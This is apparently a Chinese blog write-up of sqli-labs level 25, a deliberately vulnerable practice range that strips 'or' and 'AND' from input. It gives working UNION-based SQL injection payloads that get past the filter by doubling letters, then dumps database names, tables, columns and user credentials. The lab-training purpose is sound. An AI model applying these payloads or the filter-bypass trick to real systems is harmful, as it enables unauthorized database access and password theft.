sqli-labs 第25关（过滤or和AND ）

最新推荐文章于 2025-05-25 17:13:22 发布

24team

最新推荐文章于 2025-05-25 17:13:22 发布

阅读量1.8k

点赞数

CC 4.0 BY-SA版权

分类专栏： sqli-labs靶场文章标签： mysql

16 篇文章

订阅专栏

博客围绕 MySQL 25 关展开，先进行源码分析，发现闭合点为单引号，且 or 和 AND 被替换成空格。接着介绍判断注入点、列数的方法，因 or 被过滤尝试双写。最后阐述构造 payload 进行爆库、爆表、爆字段和爆数据的操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

25关

源码分析
发现闭合点是的单引号
在这里插入图片描述将or和AND替换成了空格
然后我们就来思路了，我们可以使用联合查询还有报错查询

在这里插入图片描述

发现很直观的把我们的or给过滤掉了
我们试试双写
在这里插入图片描述三、构造payload

?id=-1' union select 1,2,3--+

在这里插入图片描述 1.爆库、

?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata --+

由于information中间也有一个or，所以说也得双写
在这里插入图片描述 2.爆表

?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema="security"--+

在这里插入图片描述 3.爆字段

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users"--+

在这里插入图片描述 4.爆数据

?id=-1' union select 1,group_concat(username,0x5c,passwoorrd),3 from users --+

在这里插入图片描述